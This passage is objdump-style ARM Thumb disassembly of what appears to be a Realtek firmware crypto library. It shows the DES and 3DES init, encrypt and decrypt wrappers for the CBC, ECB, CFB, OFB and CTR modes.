460a mov r2, r1 10105b1c: 9603 str r6, [sp, #12] 10105b1e: 4601 mov r1, r0 10105b20: 9504 str r5, [sp, #16] 10105b22: 9502 str r5, [sp, #8] 10105b24: 9501 str r5, [sp, #4] 10105b26: 4804 ldr r0, [pc, #16] ; (10105b38 <rtl_crypto_3des_ofb_decrypt+0x30>) 10105b28: 4c04 ldr r4, [pc, #16] ; (10105b3c <rtl_crypto_3des_ofb_decrypt+0x34>) 10105b2a: 47a0 blx r4 10105b2c: b006 add sp, #24 10105b2e: bd70 pop {r4, r5, r6, pc} 10105b30: f06f 0003 mvn.w r0, #3 10105b34: e7fa b.n 10105b2c <rtl_crypto_3des_ofb_decrypt+0x24> 10105b36: bf00 nop 10105b38: 100003a0 .word 0x100003a0 10105b3c: 101057e9 .word 0x101057e9 10105b40 <rtl_crypto_3des_ctr_init>: 10105b40: b570 push {r4, r5, r6, lr} 10105b42: 4b11 ldr r3, [pc, #68] ; (10105b88 <rtl_crypto_3des_ctr_init+0x48>) 10105b44: 781b ldrb r3, [r3, #0] 10105b46: 2b01 cmp r3, #1 10105b48: 4604 mov r4, r0 10105b4a: 460d mov r5, r1 10105b4c: d004 beq.n 10105b58 <rtl_crypto_3des_ctr_init+0x18> 10105b4e: f240 1139 movw r1, #313 ; 0x139 10105b52: 480e ldr r0, [pc, #56] ; (10105b8c <rtl_crypto_3des_ctr_init+0x4c>) 10105b54: f7fa fe8c bl 10100870 <io_assert_failed> 10105b58: b194 cbz r4, 10105b80 <rtl_crypto_3des_ctr_init+0x40> 10105b5a: 07a3 lsls r3, r4, #30 10105b5c: d10d bne.n 10105b7a <rtl_crypto_3des_ctr_init+0x3a> 10105b5e: 2d20 cmp r5, #32 10105b60: d808 bhi.n 10105b74 <rtl_crypto_3des_ctr_init+0x34> 10105b62: 4622 mov r2, r4 10105b64: 4c0a ldr r4, [pc, #40] ; (10105b90 <rtl_crypto_3des_ctr_init+0x50>) 10105b66: 462b mov r3, r5 10105b68: 46a4 mov ip, r4 10105b6a: 2114 movs r1, #20 10105b6c: 4806 ldr r0, [pc, #24] ; (10105b88 <rtl_crypto_3des_ctr_init+0x48>) 10105b6e: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10105b72: 4760 bx ip 10105b74: f06f 0006 mvn.w r0, #6 10105b78: bd70 pop {r4, r5, r6, pc} 10105b7a: f06f 0005 mvn.w r0, #5 10105b7e: bd70 pop {r4, r5, r6, pc} 10105b80: f06f 0003 mvn.w r0, #3 10105b84: bd70 pop {r4, r5, r6, pc} 10105b86: bf00 nop 10105b88: 100003a0 .word 0x100003a0 10105b8c: 101d535c .word 0x101d535c 10105b90: 10105799 .word 0x10105799 10105b94 <rtl_crypto_3des_ctr_encrypt>: 10105b94: b570 push {r4, r5, r6, lr} 10105b96: b086 sub sp, #24 10105b98: 9e0a ldr r6, [sp, #40] ; 0x28 10105b9a: b178 cbz r0, 10105bbc <rtl_crypto_3des_ctr_encrypt+0x28> 10105b9c: b176 cbz r6, 10105bbc <rtl_crypto_3des_ctr_encrypt+0x28> 10105b9e: 461c mov r4, r3 10105ba0: 2500 movs r5, #0 10105ba2: 4613 mov r3, r2 10105ba4: 9400 str r4, [sp, #0] 10105ba6: 460a mov r2, r1 10105ba8: 9603 str r6, [sp, #12] 10105baa: 4601 mov r1, r0 10105bac: 9504 str r5, [sp, #16] 10105bae: 9502 str r5, [sp, #8] 10105bb0: 9501 str r5, [sp, #4] 10105bb2: 4804 ldr r0, [pc, #16] ; (10105bc4 <rtl_crypto_3des_ctr_encrypt+0x30>) 10105bb4: 4c04 ldr r4, [pc, #16] ; (10105bc8 <rtl_crypto_3des_ctr_encrypt+0x34>) 10105bb6: 47a0 blx r4 10105bb8: b006 add sp, #24 10105bba: bd70 pop {r4, r5, r6, pc} 10105bbc: f06f 0003 mvn.w r0, #3 10105bc0: e7fa b.n 10105bb8 <rtl_crypto_3des_ctr_encrypt+0x24> 10105bc2: bf00 nop 10105bc4: 100003a0 .word 0x100003a0 10105bc8: 101057b9 .word 0x101057b9 10105bcc <rtl_crypto_3des_ctr_decrypt>: 10105bcc: b570 push {r4, r5, r6, lr} 10105bce: b086 sub sp, #24 10105bd0: 9e0a ldr r6, [sp, #40] ; 0x28 10105bd2: b178 cbz r0, 10105bf4 <rtl_crypto_3des_ctr_decrypt+0x28> 10105bd4: b176 cbz r6, 10105bf4 <rtl_crypto_3des_ctr_decrypt+0x28> 10105bd6: 461c mov r4, r3 10105bd8: 2500 movs r5, #0 10105bda: 4613 mov r3, r2 10105bdc: 9400 str r4, [sp, #0] 10105bde: 460a mov r2, r1 10105be0: 9603 str r6, [sp, #12] 10105be2: 4601 mov r1, r0 10105be4: 9504 str r5, [sp, #16] 10105be6: 9502 str r5, [sp, #8] 10105be8: 9501 str r5, [sp, #4] 10105bea: 4804 ldr r0, [pc, #16] ; (10105bfc <rtl_crypto_3des_ctr_decrypt+0x30>) 10105bec: 4c04 ldr r4, [pc, #16] ; (10105c00 <rtl_crypto_3des_ctr_decrypt+0x34>) 10105bee: 47a0 blx r4 10105bf0: b006 add sp, #24 10105bf2: bd70 pop {r4, r5, r6, pc} 10105bf4: f06f 0003 mvn.w r0, #3 10105bf8: e7fa b.n 10105bf0 <rtl_crypto_3des_ctr_decrypt+0x24> 10105bfa: bf00 nop 10105bfc: 100003a0 .word 0x100003a0 10105c00: 101057e9 .word 0x101057e9 10105c04 <rtl_crypto_des_cbc_init>: 10105c04: b570 push {r4, r5, r6, lr} 10105c06: 4b11 ldr r3, [pc, #68] ; (10105c4c <rtl_crypto_des_cbc_init+0x48>) 10105c08: 781b ldrb r3, [r3, #0] 10105c0a: 2b01 cmp r3, #1 10105c0c: 4604 mov r4, r0 10105c0e: 460d mov r5, r1 10105c10: d004 beq.n 10105c1c <rtl_crypto_des_cbc_init+0x18> 10105c12: f240 117d movw r1, #381 ; 0x17d 10105c16: 480e ldr r0, [pc, #56] ; (10105c50 <rtl_crypto_des_cbc_init+0x4c>) 10105c18: f7fa fe2a bl 10100870 <io_assert_failed> 10105c1c: b194 cbz r4, 10105c44 <rtl_crypto_des_cbc_init+0x40> 10105c1e: 07a3 lsls r3, r4, #30 10105c20: d10d bne.n 10105c3e <rtl_crypto_des_cbc_init+0x3a> 10105c22: 2d20 cmp r5, #32 10105c24: d808 bhi.n 10105c38 <rtl_crypto_des_cbc_init+0x34> 10105c26: 4622 mov r2, r4 10105c28: 4c0a ldr r4, [pc, #40] ; (10105c54 <rtl_crypto_des_cbc_init+0x50>) 10105c2a: 462b mov r3, r5 10105c2c: 46a4 mov ip, r4 10105c2e: 2101 movs r1, #1 10105c30: 4806 ldr r0, [pc, #24] ; (10105c4c <rtl_crypto_des_cbc_init+0x48>) 10105c32: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10105c36: 4760 bx ip 10105c38: f06f 0006 mvn.w r0, #6 10105c3c: bd70 pop {r4, r5, r6, pc} 10105c3e: f06f 0005 mvn.w r0, #5 10105c42: bd70 pop {r4, r5, r6, pc} 10105c44: f06f 0003 mvn.w r0, #3 10105c48: bd70 pop {r4, r5, r6, pc} 10105c4a: bf00 nop 10105c4c: 100003a0 .word 0x100003a0 10105c50: 101d5378 .word 0x101d5378 10105c54: 10105799 .word 0x10105799 10105c58 <rtl_crypto_des_cbc_encrypt>: 10105c58: b5f0 push {r4, r5, r6, r7, lr} 10105c5a: b087 sub sp, #28 10105c5c: 9f0c ldr r7, [sp, #48] ; 0x30 10105c5e: b30a cbz r2, 10105ca4 <rtl_crypto_des_cbc_encrypt+0x4c> 10105c60: f012 0503 ands.w r5, r2, #3 10105c64: d118 bne.n 10105c98 <rtl_crypto_des_cbc_encrypt+0x40> 10105c66: 2b20 cmp r3, #32 10105c68: d819 bhi.n 10105c9e <rtl_crypto_des_cbc_encrypt+0x46> 10105c6a: 4e10 ldr r6, [pc, #64] ; (10105cac <rtl_crypto_des_cbc_encrypt+0x54>) 10105c6c: 6cb4 ldr r4, [r6, #72] ; 0x48 10105c6e: 42a3 cmp r3, r4 10105c70: d10f bne.n 10105c92 <rtl_crypto_des_cbc_encrypt+0x3a> 10105c72: b1b8 cbz r0, 10105ca4 <rtl_crypto_des_cbc_encrypt+0x4c> 10105c74: b1b7 cbz r7, 10105ca4 <rtl_crypto_des_cbc_encrypt+0x4c> 10105c76: 4614 mov r4, r2 10105c78: e88d 0028 stmia.w sp, {r3, r5} 10105c7c: 460a mov r2, r1 10105c7e: 4623 mov r3, r4 10105c80: 4601 mov r1, r0 10105c82: 9504 str r5, [sp, #16] 10105c84: 9703 str r7, [sp, #12] 10105c86: 9502 str r5, [sp, #8] 10105c88: 4630 mov r0, r6 10105c8a: 4c09 ldr r4, [pc, #36] ; (10105cb0 <rtl_crypto_des_cbc_encrypt+0x58>) 10105c8c: 47a0 blx r4 10105c8e: b007 add sp, #28 10105c90: bdf0 pop {r4, r5, r6, r7, pc} 10105c92: f06f 000b mvn.w r0, #11 10105c96: e7fa b.n 10105c8e <rtl_crypto_des_cbc_encrypt+0x36> 10105c98: f06f 0005 mvn.w r0, #5 10105c9c: e7f7 b.n 10105c8e <rtl_crypto_des_cbc_encrypt+0x36> 10105c9e: f06f 0008 mvn.w r0, #8 10105ca2: e7f4 b.n 10105c8e <rtl_crypto_des_cbc_encrypt+0x36> 10105ca4: f06f 0003 mvn.w r0, #3 10105ca8: e7f1 b.n 10105c8e <rtl_crypto_des_cbc_encrypt+0x36> 10105caa: bf00 nop 10105cac: 100003a0 .word 0x100003a0 10105cb0: 101057b9 .word 0x101057b9 10105cb4 <rtl_crypto_des_cbc_decrypt>: 10105cb4: b5f0 push {r4, r5, r6, r7, lr} 10105cb6: b087 sub sp, #28 10105cb8: 9f0c ldr r7, [sp, #48] ; 0x30 10105cba: b30a cbz r2, 10105d00 <rtl_crypto_des_cbc_decrypt+0x4c> 10105cbc: f012 0503 ands.w r5, r2, #3 10105cc0: d118 bne.n 10105cf4 <rtl_crypto_des_cbc_decrypt+0x40> 10105cc2: 2b20 cmp r3, #32 10105cc4: d819 bhi.n 10105cfa <rtl_crypto_des_cbc_decrypt+0x46> 10105cc6: 4e10 ldr r6, [pc, #64] ; (10105d08 <rtl_crypto_des_cbc_decrypt+0x54>) 10105cc8: 6cb4 ldr r4, [r6, #72] ; 0x48 10105cca: 42a3 cmp r3, r4 10105ccc: d10f bne.n 10105cee <rtl_crypto_des_cbc_decrypt+0x3a> 10105cce: b1b8 cbz r0, 10105d00 <rtl_crypto_des_cbc_decrypt+0x4c> 10105cd0: b1b7 cbz r7, 10105d00 <rtl_crypto_des_cbc_decrypt+0x4c> 10105cd2: 4614 mov r4, r2 10105cd4: e88d 0028 stmia.w sp, {r3, r5} 10105cd8: 460a mov r2, r1 10105cda: 4623 mov r3, r4 10105cdc: 4601 mov r1, r0 10105cde: 9504 str r5, [sp, #16] 10105ce0: 9703 str r7, [sp, #12] 10105ce2: 9502 str r5, [sp, #8] 10105ce4: 4630 mov r0, r6 10105ce6: 4c09 ldr r4, [pc, #36] ; (10105d0c <rtl_crypto_des_cbc_decrypt+0x58>) 10105ce8: 47a0 blx r4 10105cea: b007 add sp, #28 10105cec: bdf0 pop {r4, r5, r6, r7, pc} 10105cee: f06f 000b mvn.w r0, #11 10105cf2: e7fa b.n 10105cea <rtl_crypto_des_cbc_decrypt+0x36> 10105cf4: f06f 0005 mvn.w r0, #5 10105cf8: e7f7 b.n 10105cea <rtl_crypto_des_cbc_decrypt+0x36> 10105cfa: f06f 0008 mvn.w r0, #8 10105cfe: e7f4 b.n 10105cea <rtl_crypto_des_cbc_decrypt+0x36> 10105d00: f06f 0003 mvn.w r0, #3 10105d04: e7f1 b.n 10105cea <rtl_crypto_des_cbc_decrypt+0x36> 10105d06: bf00 nop 10105d08: 100003a0 .word 0x100003a0 10105d0c: 101057e9 .word 0x101057e9 10105d10 <rtl_crypto_des_ecb_init>: 10105d10: b570 push {r4, r5, r6, lr} 10105d12: 4b11 ldr r3, [pc, #68] ; (10105d58 <rtl_crypto_des_ecb_init+0x48>) 10105d14: 781b ldrb r3, [r3, #0] 10105d16: 2b01 cmp r3, #1 10105d18: 4604 mov r4, r0 10105d1a: 460d mov r5, r1 10105d1c: d004 beq.n 10105d28 <rtl_crypto_des_ecb_init+0x18> 10105d1e: f240 11c9 movw r1, #457 ; 0x1c9 10105d22: 480e ldr r0, [pc, #56] ; (10105d5c <rtl_crypto_des_ecb_init+0x4c>) 10105d24: f7fa fda4 bl 10100870 <io_assert_failed> 10105d28: b194 cbz r4, 10105d50 <rtl_crypto_des_ecb_init+0x40> 10105d2a: f014 0103 ands.w r1, r4, #3 10105d2e: d10c bne.n 10105d4a <rtl_crypto_des_ecb_init+0x3a> 10105d30: 2d20 cmp r5, #32 10105d32: d807 bhi.n 10105d44 <rtl_crypto_des_ecb_init+0x34> 10105d34: 4622 mov r2, r4 10105d36: 4c0a ldr r4, [pc, #40] ; (10105d60 <rtl_crypto_des_ecb_init+0x50>) 10105d38: 462b mov r3, r5 10105d3a: 46a4 mov ip, r4 10105d3c: 4806 ldr r0, [pc, #24] ; (10105d58 <rtl_crypto_des_ecb_init+0x48>) 10105d3e: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10105d42: 4760 bx ip 10105d44: f06f 0006 mvn.w r0, #6 10105d48: bd70 pop {r4, r5, r6, pc} 10105d4a: f06f 0005 mvn.w r0, #5 10105d4e: bd70 pop {r4, r5, r6, pc} 10105d50: f06f 0003 mvn.w r0, #3 10105d54: bd70 pop {r4, r5, r6, pc} 10105d56: bf00 nop 10105d58: 100003a0 .word 0x100003a0 10105d5c: 101d5344 .word 0x101d5344 10105d60: 10105799 .word 0x10105799 10105d64 <rtl_crypto_des_ecb_encrypt>: 10105d64: b570 push {r4, r5, r6, lr} 10105d66: b086 sub sp, #24 10105d68: 9e0a ldr r6, [sp, #40] ; 0x28 10105d6a: b178 cbz r0, 10105d8c <rtl_crypto_des_ecb_encrypt+0x28> 10105d6c: b176 cbz r6, 10105d8c <rtl_crypto_des_ecb_encrypt+0x28> 10105d6e: 461c mov r4, r3 10105d70: 2500 movs r5, #0 10105d72: 4613 mov r3, r2 10105d74: 9400 str r4, [sp, #0] 10105d76: 460a mov r2, r1 10105d78: 9603 str r6, [sp, #12] 10105d7a: 4601 mov r1, r0 10105d7c: 9504 str r5, [sp, #16] 10105d7e: 9502 str r5, [sp, #8] 10105d80: 9501 str r5, [sp, #4] 10105d82: 4804 ldr r0, [pc, #16] ; (10105d94 <rtl_crypto_des_ecb_encrypt+0x30>) 10105d84: 4c04 ldr r4, [pc, #16] ; (10105d98 <rtl_crypto_des_ecb_encrypt+0x34>) 10105d86: 47a0 blx r4 10105d88: b006 add sp, #24 10105d8a: bd70 pop {r4, r5, r6, pc} 10105d8c: f06f 0003 mvn.w r0, #3 10105d90: e7fa b.n 10105d88 <rtl_crypto_des_ecb_encrypt+0x24> 10105d92: bf00 nop 10105d94: 100003a0 .word 0x100003a0 10105d98: 101057b9 .word 0x101057b9 10105d9c <rtl_crypto_des_ecb_decrypt>: 10105d9c: b570 push {r4, r5, r6, lr} 10105d9e: b086 sub sp, #24 10105da0: 9e0a ldr r6, [sp, #40] ; 0x28 10105da2: b178 cbz r0, 10105dc4 <rtl_crypto_des_ecb_decrypt+0x28> 10105da4: b176 cbz r6, 10105dc4 <rtl_crypto_des_ecb_decrypt+0x28> 10105da6: 461c mov r4, r3 10105da8: 2500 movs r5, #0 10105daa: 4613 mov r3, r2 10105dac: 9400 str r4, [sp, #0] 10105dae: 460a mov r2, r1 10105db0: 9603 str r6, [sp, #12] 10105db2: 4601 mov r1, r0 10105db4: 9504 str r5, [sp, #16] 10105db6: 9502 str r5, [sp, #8] 10105db8: 9501 str r5, [sp, #4] 10105dba: 4804 ldr r0, [pc, #16] ; (10105dcc <rtl_crypto_des_ecb_decrypt+0x30>) 10105dbc: 4c04 ldr r4, [pc, #16] ; (10105dd0 <rtl_crypto_des_ecb_decrypt+0x34>) 10105dbe: 47a0 blx r4 10105dc0: b006 add sp, #24 10105dc2: bd70 pop {r4, r5, r6, pc} 10105dc4: f06f 0003 mvn.w r0, #3 10105dc8: e7fa b.n 10105dc0 <rtl_crypto_des_ecb_decrypt+0x24> 10105dca: bf00 nop 10105dcc: 100003a0 .word 0x100003a0 10105dd0: 101057e9 .word 0x101057e9 10105dd4 <rtl_crypto_des_cfb_init>: 10105dd4: b570 push {r4, r5, r6, lr} 10105dd6: 4b11 ldr r3, [pc, #68] ; (10105e1c <rtl_crypto_des_cfb_init+0x48>) 10105dd8: 781b ldrb r3, [r3, #0] 10105dda: 2b01 cmp r3, #1 10105ddc: 4604 mov r4, r0 10105dde: 460d mov r5, r1 10105de0: d004 beq.n 10105dec <rtl_crypto_des_cfb_init+0x18> 10105de2: f240 210d movw r1, #525 ; 0x20d 10105de6: 480e ldr r0, [pc, #56] ; (10105e20 <rtl_crypto_des_cfb_init+0x4c>) 10105de8: f7fa fd42 bl 10100870 <io_assert_failed> 10105dec: b194 cbz r4, 10105e14 <rtl_crypto_des_cfb_init+0x40> 10105dee: 07a3 lsls r3, r4, #30 10105df0: d10d bne.n 10105e0e <rtl_crypto_des_cfb_init+0x3a> 10105df2: 2d20 cmp r5, #32 10105df4: d808 bhi.n 10105e08 <rtl_crypto_des_cfb_init+0x34> 10105df6: 4622 mov r2, r4 10105df8: 4c0a ldr r4, [pc, #40] ; (10105e24 <rtl_crypto_des_cfb_init+0x50>) 10105dfa: 462b mov r3, r5 10105dfc: 46a4 mov ip, r4 10105dfe: 2102 movs r1, #2 10105e00: 4806 ldr r0, [pc, #24] ; (10105e1c <rtl_crypto_des_cfb_init+0x48>) 10105e02: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10105e06: 4760 bx ip 10105e08: f06f 0006 mvn.w r0, #6 10105e0c: bd70 pop {r4, r5, r6, pc} 10105e0e: f06f 0005 mvn.w r0, #5 10105e12: bd70 pop {r4, r5, r6, pc} 10105e14: f06f 0003 mvn.w r0, #3 10105e18: bd70 pop {r4, r5, r6, pc} 10105e1a: bf00 nop 10105e1c: 100003a0 .word 0x100003a0 10105e20: 101d5390 .word 0x101d5390 10105e24: 10105799 .word 0x10105799 10105e28 <rtl_crypto_des_cfb_encrypt>: 10105e28: b570 push {r4, r5, r6, lr} 10105e2a: b086 sub sp, #24 10105e2c: 9e0a ldr r6, [sp, #40] ; 0x28 10105e2e: b178 cbz r0, 10105e50 <rtl_crypto_des_cfb_encrypt+0x28> 10105e30: b176 cbz r6, 10105e50 <rtl_crypto_des_cfb_encrypt+0x28> 10105e32: 461c mov r4, r3 10105e34: 2500 movs r5, #0 10105e36: 4613 mov r3, r2 10105e38: 9400 str r4, [sp, #0] 10105e3a: 460a mov r2, r1 10105e3c: 9603 str r6, [sp, #12] 10105e3e: 4601 mov r1, r0 10105e40: 9504 str r5, [sp, #16] 10105e42: 9502 str r5, [sp, #8] 10105e44: 9501 str r5, [sp, #4] 10105e46: 4804 ldr r0, [pc, #16] ; (10105e58 <rtl_crypto_des_cfb_encrypt+0x30>) 10105e48: 4c04 ldr r4, [pc, #16] ; (10105e5c <rtl_crypto_des_cfb_encrypt+0x34>) 10105e4a: 47a0 blx r4 10105e4c: b006 add sp, #24 10105e4e: bd70 pop {r4, r5, r6, pc} 10105e50: f06f 0003 mvn.w r0, #3 10105e54: e7fa b.n 10105e4c <rtl_crypto_des_cfb_encrypt+0x24> 10105e56: bf00 nop 10105e58: 100003a0 .word 0x100003a0 10105e5c: 101057b9 .word 0x101057b9 10105e60 <rtl_crypto_des_cfb_decrypt>: 10105e60: b570 push {r4, r5, r6, lr} 10105e62: b086 sub sp, #24 10105e64: 9e0a ldr r6, [sp, #40] ; 0x28 10105e66: b178 cbz r0, 10105e88 <rtl_crypto_des_cfb_decrypt+0x28> 10105e68: b176 cbz r6, 10105e88 <rtl_crypto_des_cfb_decrypt+0x28> 10105e6a: 461c mov r4, r3 10105e6c: 2500 movs r5, #0 10105e6e: 4613 mov r3, r2 10105e70: 9400 str r4, [sp, #0] 10105e72: 460a mov r2, r1 10105e74: 9603 str r6, [sp, #12] 10105e76: 4601 mov r1, r0 10105e78: 9504 str r5, [sp, #16] 10105e7a: 9502 str r5, [sp, #8] 10105e7c: 9501 str r5, [sp, #4] 10105e7e: 4804 ldr r0, [pc, #16] ; (10105e90 <rtl_crypto_des_cfb_decrypt+0x30>) 10105e80: 4c04 ldr r4, [pc, #16] ; (10105e94 <rtl_crypto_des_cfb_decrypt+0x34>) 10105e82: 47a0 blx r4 10105e84: b006 add sp, #24 10105e86: bd70 pop {r4, r5, r6, pc} 10105e88: f06f 0003 mvn.w r0, #3 10105e8c: e7fa b.n 10105e84 <rtl_crypto_des_cfb_decrypt+0x24> 10105e8e: bf00 nop 10105e90: 100003a0 .word 0x100003a0 10105e94: 101057e9 .word 0x101057e9 10105e98 <rtl_crypto_des_ofb_init>: 10105e98: b570 push {r4, r5, r6, lr} 10105e9a: 4b11 ldr r3, [pc, #68] ; (10105ee0 <rtl_crypto_des_ofb_init+0x48>) 10105e9c: 781b ldrb r3, [r3, #0] 10105e9e: 2b01 cmp r3, #1 10105ea0: 4604 mov r4, r0 10105ea2: 460d mov r5, r1 10105ea4: d004 beq.n 10105eb0 <rtl_crypto_des_ofb_init+0x18> 10105ea6: f240 2151 movw r1, #593 ; 0x251 10105eaa: 480e ldr r0, [pc, #56] ; (10105ee4 <rtl_crypto_des_ofb_init+0x4c>) 10105eac: f7fa fce0 bl 10100870 <io_assert_failed> 10105eb0: b194 cbz r4, 10105ed8 <rtl_crypto_des_ofb_init+0x40> 10105eb2: 07a3 lsls r3, r4, #30 10105eb4: d10d bne.n 10105ed2 <rtl_crypto_des_ofb_init+0x3a> 10105eb6: 2d20 cmp r5, #32 10105eb8: d808 bhi.n 10105ecc <rtl_crypto_des_ofb_init+0x34> 10105eba: 4622 mov r2, r4 10105ebc: 4c0a ldr r4, [pc, #40] ; (10105ee8 <rtl_crypto_des_ofb_init+0x50>) 10105ebe: 462b mov r3, r5 10105ec0: 46a4 mov ip, r4 10105ec2: 2103 movs r1, #3 10105ec4: 4806 ldr r0, [pc, #24] ; (10105ee0 <rtl_crypto_des_ofb_init+0x48>) 10105ec6: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10105eca: 4760 bx ip 10105ecc: f06f 0006 mvn.w r0, #6 10105ed0: bd70 pop {r4, r5, r6, pc} 10105ed2: f06f 0005 mvn.w r0, #5 10105ed6: bd70 pop {r4, r5, r6, pc} 10105ed8: f06f 0003 mvn.w r0, #3 10105edc: bd70 pop {r4, r5, r6, pc} 10105ede: bf00 nop 10105ee0: 100003a0 .word 0x100003a0 10105ee4: 101d53c4 .word 0x101d53c4 10105ee8: 10105799 .word 0x10105799 10105eec <rtl_crypto_des_ofb_encrypt>: 10105eec: b570 push {r4, r5, r6, lr} 10105eee: b086 sub sp, #24 10105ef0: 9e0a ldr r6, [sp, #40] ; 0x28 10105ef2: b178 cbz r0, 10105f14 <rtl_crypto_des_ofb_encrypt+0x28> 10105ef4: b176 cbz r6, 10105f14 <rtl_crypto_des_ofb_encrypt+0x28> 10105ef6: 461c mov r4, r3 10105ef8: 2500 movs r5, #0 10105efa: 4613 mov r3, r2 10105efc: 9400 str r4, [sp, #0] 10105efe: 460a mov r2, r1 10105f00: 9603 str r6, [sp, #12] 10105f02: 4601 mov r1, r0 10105f04: 9504 str r5, [sp, #16] 10105f06: 9502 str r5, [sp, #8] 10105f08: 9501 str r5, [sp, #4] 10105f0a: 4804 ldr r0, [pc, #16] ; (10105f1c <rtl_crypto_des_ofb_encrypt+0x30>) 10105f0c: 4c04 ldr r4, [pc, #16] ; (10105f20 <rtl_crypto_des_ofb_encrypt+0x34>) 10105f0e: 47a0 blx r4 10105f10: b006 add sp, #24 10105f12: bd70 pop {r4, r5, r6, pc} 10105f14: f06f 0003 mvn.w r0, #3 10105f18: e7fa b.n 10105f10 <rtl_crypto_des_ofb_encrypt+0x24> 10105f1a: bf00 nop 10105f1c: 100003a0 .word 0x100003a0 10105f20: 101057b9 .word 0x101057b9 10105f24 <rtl_crypto_des_ofb_decrypt>: 10105f24: b570 push {r4, r5, r6, lr} 10105f26: b086 sub sp, #24 10105f28: 9e0a ldr r6, [sp, #40] ; 0x28 10105f2a: b178 cbz r0, 10105f4c <rtl_crypto_des_ofb_decrypt+0x28> 10105f2c: b176 cbz r6, 10105f4c <rtl_crypto_des_ofb_decrypt+0x28> 10105f2e: 461c mov r4, r3 10105f30: 2500 movs r5, #0 10105f32: 4613 mov r3, r2 10105f34: 9400 str r4, [sp, #0] 10105f36: 460a mov r2, r1 10105f38: 9603 str r6, [sp, #12] 10105f3a: 4601 mov r1, r0 10105f3c: 9504 str r5, [sp, #16] 10105f3e: 9502 str r5, [sp, #8] 10105f40: 9501 str r5, [sp, #4] 10105f42: 4804 ldr r0, [pc, #16] ; (10105f54 <rtl_crypto_des_ofb_decrypt+0x30>) 10105f44: 4c04 ldr r4, [pc, #16] ; (10105f58 <rtl_crypto_des_ofb_decrypt+0x34>) 10105f46: 47a0 blx r4 10105f48: b006 add sp, #24 10105f4a: bd70 pop {r4, r5, r6, pc} 10105f4c: f06f 0003 mvn.w r0, #3 10105f50: e7fa b.n 10105f48 <rtl_crypto_des_ofb_decrypt+0x24> 10105f52: bf00 nop 10105f54: 100003a0 .word 0x100003a0 10105f58: 101057e9 .word 0x101057e9 10105f5c <rtl_crypto_des_ctr_init>: 10105f5c: b570 push {r4, r5, r6, lr} 10105f5e: 4b11 ldr r3, [pc, #68] ; (10105fa4 <rtl_crypto_des_ctr_init+0x48>) 10105f60: 781b ldrb r3, [r3, #0] 10105f62: 2b01 cmp r3, #1 10105f64: 4604 mov r4, r0 10105f66: 460d mov r5, r1 10105f68: d004 beq.n 10105f74 <rtl_crypto_des_ctr_init+0x18> 10105f6a: f240 2195 movw r1, #661 ; 0x295 10105f6e: 480e ldr r0, [pc, #56] ; (10105fa8 <rtl_crypto_des_ctr_init+0x4c>) 10105f70: f7fa fc7e bl 10100870 <io_assert_failed> 10105f74: b194 cbz r4, 10105f9c <rtl_crypto_des_ctr_init+0x40> 10105f76: 07a3 lsls r3, r4, #30 10105f78: d10d bne.n 10105f96 <rtl_crypto_des_ctr_init+0x3a> 10105f7a: 2d20 cmp r5, #32 10105f7c: d808 bhi.n 10105f90 <rtl_crypto_des_ctr_init+0x34> 10105f7e: 4622 mov r2, r4 10105f80: 4c0a ldr r4, [pc, #40] ; (10105fac <rtl_crypto_des_ctr_init+0x50>) 10105f82: 462b mov r3, r5 10105f84: 46a4 mov ip, r4 10105f86: 2104 movs r1, #4 10105f88: 4806 ldr r0, [pc, #24] ; (10105fa4 <rtl_crypto_des_ctr_init+0x48>) 10105f8a: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10105f8e: 4760 bx ip 10105f90: f06f 0006 mvn.w r0, #6 10105f94: bd70 pop {r4, r5, r6, pc} 10105f96: f06f 0005 mvn.w r0, #5 10105f9a: bd70 pop {r4, r5, r6, pc} 10105f9c: f06f 0003 mvn.w r0, #3 10105fa0: bd70 pop {r4, r5, r6, pc} 10105fa2: bf00 nop 10105fa4: 100003a0 .word 0x100003a0 10105fa8: 101d5310 .word 0x101d5310 10105fac: 10105799 .word 0x10105799 10105fb0 <rtl_crypto_des_ctr_encrypt>: 10105fb0: b570 push {r4, r5, r6, lr} 10105fb2: b086 sub sp, #24 10105fb4: 9e0a ldr r6, [sp, #40] ; 0x28 10105fb6: b178 cbz r0, 10105fd8 <rtl_crypto_des_ctr_encrypt+0x28> 10105fb8: b176 cbz r6, 10105fd8 <rtl_crypto_des_ctr_encrypt+0x28> 10105fba: 461c mov r4, r3 10105fbc: 2500 movs r5, #0 10105fbe: 4613 mov r3, r2 10105fc0: 9400 str r4, [sp, #0] 10105fc2: 460a mov r2, r1 10105fc4: 9603 str r6, [sp, #12] 10105fc6: 4601 mov r1, r0 10105fc8: 9504 str r5, [sp, #16] 10105fca: 9502 str r5, [sp, #8] 10105fcc: 9501 str r5, [sp, #4] 10105fce: 4804 ldr r0, [pc, #16] ; (10105fe0 <rtl_crypto_des_ctr_encrypt+0x30>) 10105fd0: 4c04 ldr r4, [pc, #16] ; (10105fe4 <rtl_crypto_des_ctr_encrypt+0x34>) 10105fd2: 47a0 blx r4 10105fd4: b006 add sp, #24 10105fd6: bd70 pop {r4, r5, r6, pc} 10105fd8: f06f 0003 mvn.w r0, #3 10105fdc: e7fa b.n 10105fd4 <rtl_crypto_des_ctr_encrypt+0x24> 10105fde: bf00 nop 10105fe0: 100003a0 .word 0x100003a0 10105fe4: 101057b9 .word 0x101057b9 10105fe8 <rtl_crypto_des_ctr_decrypt>: 10105fe8: b570 push {r4, r5, r6, lr} 10105fea: b086 sub sp, #24 10105fec: 9e0a ldr r6, [sp, #40] ; 0x28 10105fee: b178 cbz r0, 10106010 <rtl_crypto_des_ctr_decrypt+0x28> 10105ff0: b176 cbz r6, 10106010 <rtl_crypto_des_ctr_decrypt+0x28> 10105ff2: 461c mov r4, r3 10105ff4: 2500 movs r5, #0 10105ff6: 4613 mov r3, r2 10105ff8: 9400 str r4, [sp, #0] 10105ffa: 460a mov r2, r1 10105ffc: 9603 str r6, [sp, #12] 10105ffe: 4601 mov r1, r0 10106000: 9504 str r5, [sp, #16] 10106002: 9502 str r5, [sp, #8] 10106004: 9501 str r5, [sp, #4] 10106006: 4804 ldr r0, [pc, #16] ; (10106018 <rtl_crypto_des_ctr_decrypt+0x30>) 10106008: 4c04 ldr r4, [pc, #16] ; (1010601c <rtl_crypto_des_ctr_decrypt+0x34>) 1010600a: 